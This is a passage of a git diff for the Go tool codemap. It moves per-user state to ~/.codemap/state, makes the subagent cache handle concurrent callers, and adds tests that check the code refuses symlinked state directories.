os.Stat(lock) + info, statErr := os.Lstat(lock) if statErr != nil || time.Since(info.ModTime()) < subagentRefreshBound { return nil, false } diff --git a/cmd/subagent_cache_test.go b/cmd/subagent_cache_test.go index 11d4feba..921f9eb4 100644 --- a/cmd/subagent_cache_test.go +++ b/cmd/subagent_cache_test.go @@ -5,153 +5,136 @@ import ( "os" "path/filepath" "strings" + "sync" + "sync/atomic" "testing" "time" ) -// subagentCacheRepo is a committed git repo with the renderer and the -// background refresh replaced by counters. -func subagentCacheRepo(t *testing.T) (root string, renders, refreshes *int) { +// subagentCacheRepo is a committed git repo whose renderer and detached +// launcher are replaced: the launcher runs the refresh in a goroutine. +func subagentCacheRepo(t *testing.T, delay time.Duration) (root string, renders, launches *atomic.Int32) { t.Helper() root = makeRepoOnBranch(t, "main") - renders, refreshes = new(int), new(int) - origRender, origRefresh := renderSubagentBlock, startSubagentRefresh - t.Cleanup(func() { renderSubagentBlock, startSubagentRefresh = origRender, origRefresh }) + renders, launches = new(atomic.Int32), new(atomic.Int32) + origRender, origLaunch := renderSubagentBlock, startSubagentRefresh + t.Cleanup(func() { renderSubagentBlock, startSubagentRefresh = origRender, origLaunch }) renderSubagentBlock = func(ctx context.Context, root string) (string, error) { - *renders++ + renders.Add(1) + time.Sleep(delay) return "block " + subagentCacheKey(root) + "\n", nil } - startSubagentRefresh = func(string) { *refreshes++ } - return root, renders, refreshes + startSubagentRefresh = func(root string) bool { + launches.Add(1) + go refreshSubagentCache(root) + return true + } + return root, renders, launches } -func runSubagentStartHook(t *testing.T, root string) string { +func waitForSubagentRefresh(t *testing.T, root string) { t.Helper() - var out string - withStdinInput(t, `{"cwd":"`+filepath.ToSlash(root)+`"}`, func() { - out = captureOutput(func() { - if err := hookSubagentStart(root, subagentStartTimeout); err != nil { - t.Fatalf("hookSubagentStart: %v", err) - } - }) - }) - return out + dir, _ := subagentCacheDir(root) + for deadline := time.Now().Add(10 * time.Second); ; time.Sleep(10 * time.Millisecond) { + _, hit := readSubagentCache(root, subagentCacheKey(root)) + if _, err := os.Lstat(filepath.Join(dir, subagentRefreshLock)); hit && os.IsNotExist(err) { + return + } + if time.Now().After(deadline) { + t.Fatal("the refresh never filled the cache and dropped its lock") + } + } } func TestSubagentStartCachesPerHead(t *testing.T) { - root, renders, _ := subagentCacheRepo(t) - - first := runSubagentStartHook(t, root) - if *renders != 1 || !strings.HasPrefix(first, "block ") { - t.Fatalf("miss: renders=%d out=%q", *renders, first) + root, renders, _ := subagentCacheRepo(t, 0) + first := subagentStartBlock(root, subagentStartTimeout) + if renders.Load() != 1 || !strings.HasPrefix(first, "block ") { + t.Fatalf("miss: renders=%d out=%q", renders.Load(), first) } - dir, _ := subagentCacheDir(root) - if _, err := os.Stat(filepath.Join(dir, subagentCacheFile)); err != nil { - t.Fatalf("miss did not store the block: %v", err) - } - if second := runSubagentStartHook(t, root); second != first || *renders != 1 { - t.Fatalf("hit rendered again: renders=%d out=%q", *renders, second) + waitForSubagentRefresh(t, root) + if second := subagentStartBlock(root, subagentStartTimeout); second != first || renders.Load() != 1 { + t.Fatalf("hit rendered again: renders=%d out=%q", renders.Load(), second) } - - oldKey := subagentCacheKey(root) runGitTestCmd(t, root, "-c", "user.name=t", "-c", "user.email=t@example.com", "commit", "-q", "--allow-empty", "-m", "next") - if subagentCacheKey(root) == oldKey { - t.Fatal("cache key did not change with HEAD") - } - if third := runSubagentStartHook(t, root); *renders != 2 || third == first { - t.Fatalf("new HEAD served the old block: renders=%d out=%q", *renders, third) + if third := subagentStartBlock(root, subagentStartTimeout); renders.Load() != 2 || third == first { + t.Fatalf("new HEAD served the old block: renders=%d out=%q", renders.Load(), third) } + waitForSubagentRefresh(t, root) } func TestSubagentStartCorruptCacheIsAMiss(t *testing.T) { - root, renders, _ := subagentCacheRepo(t) + root, renders, _ := subagentCacheRepo(t, 0) dir, _ := subagentCacheDir(root) - if err := os.MkdirAll(dir, 0o755); err != nil { + if err := os.WriteFile(filepath.Join(dir, subagentCacheFile), []byte("{not json"), 0o600); err != nil { t.Fatal(err) } - if err := os.WriteFile(filepath.Join(dir, subagentCacheFile), []byte("{not json"), 0o644); err != nil { - t.Fatal(err) - } - if out := runSubagentStartHook(t, root); *renders != 1 || !strings.HasPrefix(out, "block ") { - t.Fatalf("corrupt cache: renders=%d out=%q", *renders, out) + if out := subagentStartBlock(root, subagentStartTimeout); renders.Load() != 1 || !strings.HasPrefix(out, "block ") { + t.Fatalf("corrupt cache: renders=%d out=%q", renders.Load(), out) } + waitForSubagentRefresh(t, root) } -func TestSubagentStartTimeoutPrintsNothingAndRefreshes(t *testing.T) { - root, _, refreshes := subagentCacheRepo(t) - renderSubagentBlock = func(ctx context.Context, root string) (string, error) { - <-ctx.Done() - return "", ctx.Err() - } - start := time.Now() - withStdinInput(t, `{"cwd":"`+filepath.ToSlash(root)+`"}`, func() { - out := captureOutput(func() { _ = hookSubagentStart(root, subagentStartTimeout) }) - if out != "" { - t.Fatalf("timed-out render printed %q", out) +// N subagents starting at once on a new HEAD cost one render, and every one +// of them gets the block when the render is fast. +func TestSubagentStartConcurrentMissesLaunchOneRender(t *testing.T) { + root, renders, launches := subagentCacheRepo(t, 50*time.Millisecond) + const n = 8 + outs := make([]string, n) + var wg sync.WaitGroup + for i := range outs { + wg.Add(1) + go func(i int) { defer wg.Done(); outs[i] = subagentStartBlock(root, subagentStartTimeout) }(i) + } + wg.Wait() + if launches.Load() != 1 || renders.Load() != 1 { + t.Fatalf("launches=%d renders=%d, want exactly one of each", launches.Load(), renders.Load()) + } + for i, out := range outs { + if !strings.HasPrefix(out, "block ") { + t.Fatalf("caller %d printed %q", i, out) } - }) - if *refreshes != 1 { - t.Fatalf("background refreshes = %d, want 1", *refreshes) - } - if elapsed := time.Since(start); elapsed > subagentStartTimeout+2*time.Second { - t.Fatalf("hook took %v past its deadline", elapsed) } + waitForSubagentRefresh(t, root) } -// The background render starts before the foreground one, so a hook killed by -// its timeout still leaves one running; a fresh lock means one already is. -func TestSubagentStartLaunchesRefreshUpFrontUnlessLocked(t *testing.T) { - root, renders, refreshes := subagentCacheRepo(t) - renderSubagentBlock = func(context.Context, string) (string, error) { - *renders++ - if *refreshes != 1 { - t.Errorf("foreground render began before the background refresh (refreshes=%d)", *refreshes) - } - return "block\n", nil - } - runSubagentStartHook(t, root) - - dir, _ := subagentCacheDir(root) - if err := os.Remove(filepath.Join(dir, subagentCacheFile)); err != nil { - t.Fatal(err) - } - if err := os.WriteFile(filepath.Join(dir, subagentRefreshLock), nil, 0o600); err != nil { - t.Fatal(err) +// A render slower than the budget prints nothing for anyone, yet still fills +// the cache afterwards and drops its lock. +func TestSubagentStartSlowRenderPrintsNothingAndFillsTheCacheLater(t *testing.T) { + root, renders, launches := subagentCacheRepo(t, 300*time.Millisecond) + var wg sync.WaitGroup + for i := 0; i < 4; i++ { + wg.Add(1) + go func() { + defer wg.Done() + if out := subagentStartBlock(root, 20*time.Millisecond); out != "" { + t.Errorf("slow render printed %q", out) + } + }() } - *refreshes = 0 - renderSubagentBlock = func(context.Context, string) (string, error) { return "block\n", nil } - runSubagentStartHook(t, root) - if *refreshes != 0 { - t.Fatalf("launched a refresh while a fresh lock exists (refreshes=%d)", *refreshes) + wg.Wait() + waitForSubagentRefresh(t, root) + if launches.Load() != 1 || renders.Load() != 1 { + t.Fatalf("launches=%d renders=%d, want one", launches.Load(), renders.Load()) } } -func TestRefreshSubagentCacheHonoursLock(t *testing.T) { - root, renders, _ := subagentCacheRepo(t) +func TestSubagentStartTakesOverAStaleLock(t *testing.T) { + root, renders, launches := subagentCacheRepo(t, 0) dir, _ := subagentCacheDir(root) - if err := os.MkdirAll(dir, 0o755); err != nil { - t.Fatal(err) - } lock := filepath.Join(dir, subagentRefreshLock) - if err := os.WriteFile(lock, nil, 0o644); err != nil { + if err := os.WriteFile(lock, nil, 0o600); err != nil { t.Fatal(err) } - refreshSubagentCache(root) - if *renders != 0 { - t.Fatal("refresh ran while another held the lock") + if out := subagentStartBlock(root, 50*time.Millisecond); out != "" || launches.Load() != 0 { + t.Fatalf("a fresh lock must hold: out=%q launches=%d", out, launches.Load()) } stale := time.Now().Add(-2 * subagentRefreshBound) if err := os.Chtimes(lock, stale, stale); err != nil { t.Fatal(err) } - refreshSubagentCache(root) - if *renders != 1 { - t.Fatalf("stale lock not taken over: renders=%d", *renders) - } - if _, ok := readSubagentCache(root, subagentCacheKey(root)); !ok { - t.Fatal("refresh did not store the block") - } - if _, err := os.Stat(lock); !os.IsNotExist(err) { - t.Fatalf("lock left behind: %v", err) + if out := subagentStartBlock(root, subagentStartTimeout); !strings.HasPrefix(out, "block ") || renders.Load() != 1 { + t.Fatalf("stale lock not taken over: out=%q renders=%d", out, renders.Load()) } + waitForSubagentRefresh(t, root) } diff --git a/cmd/testmain_test.go b/cmd/testmain_test.go index 16e1a6fe..146b75c5 100644 --- a/cmd/testmain_test.go +++ b/cmd/testmain_test.go @@ -24,7 +24,6 @@ func TestMain(m *testing.M) { os.Exit(1) } os.Setenv("CODEMAP_DAEMON_REGISTRY", dir) - os.Setenv("XDG_CACHE_HOME", dir) // Setup writes Codex config to the user scope by default; keep every test // off the real ~/.codex and ~/.claude even when it forgets to set HOME. for _, name := range []string{"HOME", "USERPROFILE"} { diff --git a/config/config.go b/config/config.go index cd8ee1ce..1309a2b1 100644 --- a/config/config.go +++ b/config/config.go @@ -8,6 +8,7 @@ import ( "strings" "codemap/internal/projectpath" + "codemap/internal/runtimefile" "codemap/limits" ) @@ -282,12 +283,22 @@ func Load(root string) ProjectConfig { func LoadFirst(path string, fallback func() string) ProjectConfig { if _, err := os.Stat(path); os.IsNotExist(err) { if auto := fallback(); auto != "" { - return LoadFile(auto) + return LoadAuto(auto) } } return LoadFile(path) } +// LoadAuto reads an auto-detected config from the state dir. It refuses a +// symlink, and a missing or unreadable copy is zero (defaults). +func LoadAuto(path string) ProjectConfig { + var cfg ProjectConfig + if data, err := runtimefile.Read(path); err != nil || json.Unmarshal(data, &cfg) != nil { + return ProjectConfig{} + } + return cfg +} + // LoadFile reads a previously resolved config path. func LoadFile(path string) ProjectConfig { data, err := os.ReadFile(path) diff --git a/config/testmain_test.go b/config/testmain_test.go new file mode 100644 index 00000000..e6667dbe --- /dev/null +++ b/config/testmain_test.go @@ -0,0 +1,20 @@ +package config + +import ( + "os" + "testing" +) + +// TestMain points HOME at a temp dir so state never lands in the real +// ~/.codemap. +func TestMain(m *testing.M) { + dir, err := os.MkdirTemp("", "codemap-config-home-*") + if err != nil { + os.Exit(1) + } + os.Setenv("HOME", dir) + os.Setenv("USERPROFILE", dir) + code := m.Run() + _ = os.RemoveAll(dir) + os.Exit(code) +} diff --git a/docs/CONFIG.md b/docs/CONFIG.md index 07161384..e64096de 100644 --- a/docs/CONFIG.md +++ b/docs/CONFIG.md @@ -11,7 +11,7 @@ codemap config init # auto-detect top extensions, write config codemap config show # display current config ``` -Only `codemap setup`, `codemap config init` and `codemap skill init` create `.codemap/`. Commit `.codemap/config.json` and `.codemap/skills/` if you want to share them; the folder's own `.gitignore` ignores anything else (only leftovers from older versions). Machine state lives in the per-user state dir, never in the repo ([INSTALL.md](INSTALL.md#setup)). Without `config.json`, codemap auto-detects `only` and `exclude` once and keeps them as `auto-config.json` in that state dir; it does not track later changes in the file mix, so run `codemap config init` for filters you can tune and commit. An in-repo `config.json` always wins. +Only `codemap setup`, `codemap config init` and `codemap skill init` create `.codemap/`. Commit `.codemap/config.json` and `.codemap/skills/` if you want to share them; the folder's own `.gitignore` ignores anything else (only leftovers from older versions). Machine state lives in `~/.codemap/state//`, never in the repo ([INSTALL.md](INSTALL.md#setup)). Without `config.json`, codemap auto-detects `only` and `exclude` and keeps them as `auto-config.json` in that state dir. Every full scan (`codemap .`) re-derives them from the files it found, so a changing file mix is picked up, and the tree prints `auto filter: only ...; codemap config show` while they apply. Hooks never scan to compute them. Run `codemap config init` for filters you can tune and commit. An in-repo `config.json` always wins. ```json { diff --git a/docs/INSTALL.md b/docs/INSTALL.md index 7adede4e..f279dc9e 100644 --- a/docs/INSTALL.md +++ b/docs/INSTALL.md @@ -51,7 +51,7 @@ codemap setup `.codemap/` holds only what you author: `config.json` and `skills/`, both safe to commit. Its `.gitignore` ignores anything else, which is only ever leftovers from older versions; codemap writes that file only when it is missing, so your edits to it stay. -Machine state never goes into the repo, set up or not, primary checkout or linked worktree. Hooks, the watch daemon and every command keep it under `$XDG_CACHE_HOME/codemap//` when `XDG_CACHE_HOME` is set, otherwise the OS user cache directory (`~/Library/Caches/codemap/` on macOS, `~/.cache/codemap/` on Linux). `codemap doctor` prints the exact directory on its `state dir:` line. Only `codemap setup`, `codemap config init` and `codemap skill init` create `.codemap/`; nothing else writes there, and a linked worktree never gets one. A repo without `config.json` gets auto-detected filters stored in the state dir (`auto-config.json`), computed once; run `codemap config init` to commit filters instead. When no usable cache directory exists, codemap runs without saved state. +Machine state never goes into the repo, set up or not, primary checkout or linked worktree. Hooks, the watch daemon and every command keep it under `~/.codemap/state//`, next to the daemon registry in `~/.codemap/daemons/`; `XDG_CACHE_HOME` is not consulted. Every directory is private (0700), every file 0600, and codemap refuses a symlinked state directory or state file. `codemap doctor` prints the exact directory on its `state dir:` line. Only `codemap setup`, `codemap config init` and `codemap skill init` create `.codemap/`; nothing else writes there, and a linked worktree never gets one. A repo without `config.json` gets auto-detected filters stored in the state dir (`auto-config.json`); every full scan (`codemap .`) re-derives them, and the tree says `auto filter: ...` when they apply. Run `codemap config init` to commit filters instead. When there is no home directory, codemap runs without saved state and never creates one. Rerunning setup is safe: it changes only what is missing or stale. `--no-config`, `--no-hooks`, `--no-mcp`, and `--no-skills` skip a piece. diff --git a/find/testmain_test.go b/find/testmain_test.go new file mode 100644 index 00000000..0d257e40 --- /dev/null +++ b/find/testmain_test.go @@ -0,0 +1,20 @@ +package find + +import ( + "os" + "testing" +) + +// TestMain points HOME at a temp dir so state never lands in the real +// ~/.codemap. +func TestMain(m *testing.M) { + dir, err := os.MkdirTemp("", "codemap-find-home-*") + if err != nil { + os.Exit(1) + } + os.Setenv("HOME", dir) + os.Setenv("USERPROFILE", dir) + code := m.Run() + _ = os.RemoveAll(dir) + os.Exit(code) +} diff --git a/handoff/legacy_test.go b/handoff/legacy_test.go new file mode 100644 index 00000000..3d9ae688 --- /dev/null +++ b/handoff/legacy_test.go @@ -0,0 +1,70 @@ +package handoff + +import ( + "os" + "path/filepath" + "testing" + + "codemap/internal/projectpath" +) + +// The first read after an upgrade finds the handoff an older codemap saved in +// the repo, read-only and never through a link; a state-dir copy wins. +func TestReadLatestFallsBackToTheLegacyInRepoHandoffOnce(t *testing.T) { + root, err := filepath.EvalSymlinks(t.TempDir()) + if err != nil { + t.Fatal(err) + } + if err := os.Mkdir(filepath.Join(root, ".git"), 0o755); err != nil { + t.Fatal(err) + } + write := func(path, branch string) { + t.Helper() + if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(path, []byte(`{"branch":"`+branch+`"}`), 0o644); err != nil { + t.Fatal(err) + } + } + branch := func() string { + t.Helper() + artifact, err := ReadLatest(root) + if err != nil { + t.Fatal(err) + } + if artifact == nil { + return "" + } + return artifact.Branch + } + + top := filepath.Join(root, ".codemap", latestFilename) + write(top, "top") + if got := branch(); got != "top" { + t.Fatalf("branch = %q, want the top-level legacy handoff", got) + } + nested := filepath.Join(root, ".codemap", "projects", projectpath.ProjectKey(root), latestFilename) + write(nested, "nested") + if got := branch(); got != "nested" { + t.Fatalf("branch = %q, want the per-project legacy handoff first", got) + } + write(LatestPath(root), "state") + if got := branch(); got != "state" { + t.Fatalf("branch = %q, want the state-dir handoff to win", got) + } + if err := os.Remove(LatestPath(root)); err != nil { + t.Fatal(err) + } + if err := os.RemoveAll(filepath.Join(root, ".codemap")); err != nil { + t.Fatal(err) + } + outside := filepath.Join(t.TempDir(), "elsewhere") + write(filepath.Join(outside, latestFilename), "linked") + if err := os.Symlink(outside, filepath.Join(root, ".codemap")); err != nil { + t.Skipf("symlinks unavailable: %v", err) + } + if artifact, _ := ReadLatest(root); artifact != nil { + t.Fatalf("read a legacy handoff through a link: %q", artifact.Branch) + } +} diff --git a/handoff/storage.go b/handoff/storage.go index 8f244733..cc871aa4 100644 --- a/handoff/storage.go +++ b/handoff/storage.go @@ -5,6 +5,7 @@ import ( "encoding/json" "os" "path/filepath" + "strings" "codemap/internal/projectpath" "codemap/internal/runtimefile" @@ -46,11 +47,14 @@ func ReadLatest(root string) (*Artifact, error) { if err != nil { return nil, err } - data, err := os.ReadFile(path) - if err != nil { - if os.IsNotExist(err) { + data, err := runtimefile.Read(path) + if os.IsNotExist(err) { + if data = readLegacyLatest(root); data == nil { return nil, nil } + err = nil + } + if err != nil { return nil, err } @@ -63,6 +67,32 @@ func ReadLatest(root string) (*Artifact, error) { return &artifact, nil } +// readLegacyLatest returns the handoff an older codemap saved inside the repo, +// so the first session after an upgrade keeps it; the next save lands in the +// state dir and wins from then on. Read-only, and every level must be a real +// directory or regular file, never a link. +func readLegacyLatest(root string) []byte { + dir := filepath.Join(projectpath.RuntimeRoot(root), ".codemap") + for _, rel := range []string{filepath.Join("projects", projectpath.ProjectKey(root)), "."} { + candidate := dir + safe := true + for _, part := range append([]string{""}, strings.Split(rel, string(filepath.Separator))...) { + candidate = filepath.Join(candidate, part) + if info, err := os.Lstat(candidate); err != nil || !info.IsDir() { + safe = false + break + } + } + if !safe { + continue + } + if data, err := runtimefile.Read(filepath.Join(candidate, latestFilename)); err == nil { + return data + } + } + return nil +} + // WriteLatest writes an artifact atomically to handoff.latest.json in the // project's state dir. func WriteLatest(root string, artifact *Artifact) error { diff --git a/handoff/testmain_test.go b/handoff/testmain_test.go index 923a90c5..614b0751 100644 --- a/handoff/testmain_test.go +++ b/handoff/testmain_test.go @@ -5,13 +5,14 @@ import ( "testing" ) -// TestMain keeps state of un-set-up test repos out of the real user cache. +// TestMain keeps state of un-set-up test repos out of the real ~/.codemap. func TestMain(m *testing.M) { dir, err := os.MkdirTemp("", "codemap-handoff-cache-*") if err != nil { os.Exit(1) } - os.Setenv("XDG_CACHE_HOME", dir) + os.Setenv("HOME", dir) + os.Setenv("USERPROFILE", dir) code := m.Run() _ = os.RemoveAll(dir) os.Exit(code) diff --git a/internal/projectpath/owner_windows.go b/internal/projectpath/owner_windows.go index ab310448..9e532b6c 100644 --- a/internal/projectpath/owner_windows.go +++ b/internal/projectpath/owner_windows.go @@ -4,5 +4,5 @@ package projectpath import "os" -// The per-user cache under %LocalAppData% is already private to the user. +// The user profile directory is already private to the user. func ownedByCurrentUser(os.FileInfo) bool { return true } diff --git a/internal/projectpath/path.go b/internal/projectpath/path.go index 06f15df1..c1d8680f 100644 --- a/internal/projectpath/path.go +++ b/internal/projectpath/path.go @@ -192,7 +192,7 @@ func CheckedRuntimeCodemapDir(projectRoot string) (string, error) { if err != nil { return "", err } - return filepath.Join(selection.RuntimeDir, "projects", ProjectKey(selection.ProjectRoot)), nil + return selection.ProjectDir, nil } // CanonicalPath returns an absolute, cleaned path with platform symlinks diff --git a/internal/projectpath/runtime.go b/internal/projectpath/runtime.go index e96cb179..e73cbdc6 100644 --- a/internal/projectpath/runtime.go +++ b/internal/projectpath/runtime.go @@ -15,6 +15,7 @@ type RuntimeSelection struct { ProjectRoot string PolicyDir string RuntimeDir string + ProjectDir string // this project's state: RuntimeDir, or RuntimeDir/projects/ under --setup-root Source Source } @@ -39,7 +40,7 @@ func SelectRuntime(projectRoot string) (RuntimeSelection, error) { if err != nil { return RuntimeSelection{}, err } - result.RuntimeDir = dir + result.RuntimeDir, result.ProjectDir = dir, dir return result, nil } @@ -52,7 +53,8 @@ func SelectRuntime(projectRoot string) (RuntimeSelection, error) { } } projects := filepath.Join(result.RuntimeDir, "projects") - for _, dir := range []string{projects, filepath.Join(projects, ProjectKey(selection.ProjectRoot))} { + result.ProjectDir = filepath.Join(projects, ProjectKey(selection.ProjectRoot)) + for _, dir := range []string{projects, result.ProjectDir} { if err := ensurePrivateDirectory(dir); err != nil { return RuntimeSelection{}, err } @@ -65,68 +67,65 @@ func SelectRuntime(projectRoot string) (RuntimeSelection, error) { // IsSetUp reports whether the project's policy directory (/.codemap) // exists. Only explicit commands (setup, config init, skill init) create it. -// It never decides where machine state goes: that is always StateCacheDir. +// It never decides where machine state goes: that is always UserDir/state. func IsSetUp(projectRoot string) bool { info, err := os.Lstat(CodemapDir(projectRoot)) return err == nil && info.IsDir() } // ErrNoStateDir reports that there is nowhere safe to keep machine state (no -// cache dir, not creatable, not writable, or unsafe). Every failure to get the +// home dir, not creatable, not writable, or unsafe). Every failure to get the // private state dir wraps it; callers skip writes and treat state as absent. var ErrNoStateDir = errors.New("no usable codemap state directory") -// StateCacheDir is the per-user root for machine state of every project: -// $XDG_CACHE_HOME/codemap on every OS when it is absolute, else the OS user -// cache directory. There is deliberately no shared-temp fallback. -func StateCacheDir() (string, bool) { - base := os.Getenv("XDG_CACHE_HOME") - if !filepath.IsAbs(base) { - var err error - if base, err = os.UserCacheDir(); err != nil || !filepath.IsAbs(base) { - return "", false - } - } - return filepath.Join(base, "codemap"), true +// UserDir is the per-user codemap base, ~/.codemap: the daemon registry +// (daemons/) and every project's machine state (state//) live under one +// root, so every process of this user agrees on both whatever its +// environment. It is not a cache: the OS may purge those, and a handoff is +// not disposable. There is deliberately no shared-temp fallback. +func UserDir() (string, bool) { + home, err := os.UserHomeDir() + if err != nil || !filepath.IsAbs(home) { + return "", false + } + return filepath.Join(home, ".codemap"), true } -// userStateDir returns /, marked with the project -// root, after creating it and its projects/ runtime dir. -func userStateDir(projectRoot string) (string, error) { - cacheDir, ok := StateCacheDir() +// EnsureUserSubdir creates UserDir/, returning its canonical path. +// It creates ~/.codemap 0700 when missing but never a missing home. A link at +// ~/.codemap is the user's and is resolved; from down every level is +// Lstat-checked, links refused, and it must be a 0700 dir this user owns. +func EnsureUserSubdir(names ...string) (string, error) { + base, ok := UserDir() if !ok { return "", ErrNoStateDir } - dir, err := privateStateDir(cacheDir, ProjectKey(projectRoot)) - if err == nil { - err = ensureProjectMarker(dir, CanonicalPath(projectRoot)) + if _, err := os.Stat(base); os.IsNotExist(err) { + if err := os.Mkdir(base, 0o700); err != nil && !os.IsExist(err) { + return "", fmt.Errorf("%w: create %q: %w", ErrNoStateDir, base, err) + } } - if err != nil { - return "", fmt.Errorf("%w: %w", ErrNoStateDir, err) + dir := CanonicalPath(base) + for _, name := range names { + dir = filepath.Join(dir, name) + if err := ensurePrivateDirectory(dir); err != nil { + return "", fmt.Errorf("%w: %w", ErrNoStateDir, err) + } } return dir, nil } -// privateStateDir creates //projects/, every level a real -// 0700 directory owned by this user. Only the OS cache dir itself may be -// created above that, never its parents, so a missing home stays missing. -// Links above the cache dir belong to the user or the OS and are resolved; -// from the codemap leaf down every level is Lstat-checked and links refused. -func privateStateDir(cacheDir, key string) (string, error) { - base := filepath.Dir(cacheDir) - if _, err := os.Stat(base); os.IsNotExist(err) { - if err := os.Mkdir(base, 0o700); err != nil { - return "", fmt.Errorf("create user cache %q: %w", base, err) - } +// userStateDir returns ~/.codemap/state/, marked with the +// project root. +func userStateDir(projectRoot string) (string, error) { + dir, err := EnsureUserSubdir("state", ProjectKey(projectRoot)) + if err != nil { + return "", err } - dir := filepath.Join(CanonicalPath(base), filepath.Base(cacheDir)) - for _, part := range []string{"", key, "projects", key} { - dir = filepath.Join(dir, part) - if err := ensurePrivateDirectory(dir); err != nil { - return "", err - } + if err := ensureProjectMarker(dir, CanonicalPath(projectRoot)); err != nil { + return "", fmt.Errorf("%w: %w", ErrNoStateDir, err) } - return filepath.Dir(filepath.Dir(dir)), nil + return dir, nil } func ensureRealDirectory(path string) error { @@ -175,20 +174,24 @@ func ensureProjectMarker(runtimeDir, canonicalRoot string) error { if err != nil { return err } - f, err := os.OpenFile(path, os.O_WRONLY|os.O_CREATE|os.O_EXCL, 0o600) - if err == nil { - if _, writeErr := f.Write(payload); writeErr != nil { - _ = f.Close() - _ = os.Remove(path) - return writeErr - } - if closeErr := f.Close(); closeErr != nil { - _ = os.Remove(path) - return closeErr - } - return nil + // Written aside and hard-linked into place: the link is exclusive and + // atomic, so a concurrent reader never sees an empty marker. + f, err := os.CreateTemp(runtimeDir, ".project-*.json") + if err != nil { + return fmt.Errorf("create runtime identity %q: %w", path, err) + } + tmp := f.Name() + defer os.Remove(tmp) + _, err = f.Write(payload) + if closeErr := f.Close(); err == nil { + err = closeErr + } + if err != nil { + return err } - if !os.IsExist(err) { + if err := os.Link(tmp, path); err == nil { + return nil + } else if !os.IsExist(err) { return fmt.Errorf("create runtime identity %q: %w", path, err) } info, statErr := os.Lstat(path) diff --git a/internal/projectpath/runtime_cache_test.go b/internal/projectpath/runtime_cache_test.go index 54424e2f..048bfc24 100644 --- a/internal/projectpath/runtime_cache_test.go +++ b/internal/projectpath/runtime_cache_test.go @@ -9,61 +9,40 @@ import ( "testing" ) -func TestSelectRuntimeRefusesPlantedStateSymlink(t *testing.T) { - root := makeProjectFixture(t) - cache := t.TempDir() - t.Setenv("XDG_CACHE_HOME", cache) - planted := t.TempDir() - if err := os.MkdirAll(filepath.Join(cache, "codemap"), 0o700); err != nil { - t.Fatal(err) - } - if err := os.Symlink(planted, filepath.Join(cache, "codemap", ProjectKey(root))); err != nil { - t.Skipf("symlinks unavailable: %v", err) - } - if _, err := SelectRuntime(root); err == nil { - t.Fatal("SelectRuntime accepted a symlinked project state directory") - } - if _, err := CheckedRuntimeCodemapDir(root); err == nil { - t.Fatal("CheckedRuntimeCodemapDir accepted a symlinked project state directory") - } - if entries, _ := os.ReadDir(planted); len(entries) != 0 { - t.Fatalf("wrote through the planted link: %v", entries) - } +func setHome(t *testing.T, dir string) { + t.Helper() + t.Setenv("HOME", dir) + t.Setenv("USERPROFILE", dir) } -func TestSelectRuntimeWithoutCacheDirIsUnavailable(t *testing.T) { +func TestSelectRuntimeWithoutHomeIsUnavailable(t *testing.T) { root := makeProjectFixture(t) - t.Setenv("XDG_CACHE_HOME", "") - t.Setenv("HOME", "") - t.Setenv("LOCALAPPDATA", "") - if _, ok := StateCacheDir(); ok { - t.Skip("this OS still reports a user cache dir") + setHome(t, "") + if _, ok := UserDir(); ok { + t.Skip("this OS still reports a home dir") } if _, err := SelectRuntime(root); !errors.Is(err, ErrNoStateDir) { t.Fatalf("SelectRuntime err = %v, want ErrNoStateDir", err) } } -// State lives in the cache whether or not the repo is set up, and every -// directory codemap creates there is 0700. -func TestSelectRuntimeUsesCacheWhetherOrNotSetUp(t *testing.T) { +// State lives in ~/.codemap/state/ whether or not the repo is set up, +// whatever XDG_CACHE_HOME says, and every directory codemap creates is 0700. +func TestSelectRuntimeUsesHomeStateWhetherOrNotSetUp(t *testing.T) { root := makeProjectFixture(t) - cache := t.TempDir() - t.Setenv("XDG_CACHE_HOME", cache) - want := filepath.Join(CanonicalPath(cache), "codemap", ProjectKey(root)) + home := t.TempDir() + setHome(t, home) + t.Setenv("XDG_CACHE_HOME", t.TempDir()) + want := filepath.Join(CanonicalPath(home), ".codemap", "state", ProjectKey(root)) selection, err := SelectRuntime(root) if err != nil { t.Fatal(err) } - if selection.RuntimeDir != want { - t.Fatalf("RuntimeDir = %q, want %q", selection.RuntimeDir, want) - } - projectDir, err := CheckedRuntimeCodemapDir(root) - if err != nil { - t.Fatal(err) + if selection.RuntimeDir != want || selection.ProjectDir != want { + t.Fatalf("RuntimeDir = %q, ProjectDir = %q, want %q", selection.RuntimeDir, selection.ProjectDir, want) } - for dir := projectDir; dir != CanonicalPath(cache); dir = filepath.Dir(dir) { + for dir := want; dir != CanonicalPath(home); dir = filepath.Dir(dir) { if info, err := os.Lstat(dir); err != nil || !info.IsDir() || (runtime.GOOS != "windows" && info.Mode().Perm() != 0o700) { t.Fatalf("%s: %v, err %v; want a 0700 directory", dir, info, err) } @@ -75,6 +54,7 @@ func TestSelectRuntimeUsesCacheWhetherOrNotSetUp(t *testing.T) { if err := os.Mkdir(filepath.Join(root, ".codemap"), 0o755); err != nil { t.Fatal(err) } + t.Setenv("XDG_CACHE_HOME", "") if selection, err = SelectRuntime(root); err != nil || selection.RuntimeDir != want || !IsSetUp(root) { t.Fatalf("set-up RuntimeDir = %q, %v; want %q", selection.RuntimeDir, err, want) } @@ -83,20 +63,20 @@ func TestSelectRuntimeUsesCacheWhetherOrNotSetUp(t *testing.T) { } } -// V2: a link at the codemap leaf, or at any level below it, is refused, and -// nothing is written through it. A link above the cache root is the user's. -func TestSelectRuntimeRefusesLinksFromTheCodemapLeafDown(t *testing.T) { +// A link at .codemap/state, or at any level below it, is refused and nothing +// is written through it. A link at ~/.codemap itself is the user's. +func TestSelectRuntimeRefusesLinksFromTheStateLevelDown(t *testing.T) { root := makeProjectFixture(t) key := ProjectKey(root) - for _, rel := range []string{"codemap", filepath.Join("codemap", key, "projects"), filepath.Join("codemap", key, "projects", key)} { + for _, rel := range []string{filepath.Join(".codemap", "state"), filepath.Join(".codemap", "state", key)} { t.Run(rel, func(t *testing.T) { - cache := t.TempDir() - t.Setenv("XDG_CACHE_HOME", cache) - if err := os.MkdirAll(filepath.Dir(filepath.Join(cache, rel)), 0o700); err != nil { + home := t.TempDir() + setHome(t, home) + if err := os.MkdirAll(filepath.Dir(filepath.Join(home, rel)), 0o700); err != nil { t.Fatal(err) } planted := t.TempDir() - if err := os.Symlink(planted, filepath.Join(cache, rel)); err != nil { + if err := os.Symlink(planted, filepath.Join(home, rel)); err != nil { t.Skipf("symlinks unavailable: %v", err) } if _, err := CheckedRuntimeCodemapDir(root); !errors.Is(err, ErrNoStateDir) || 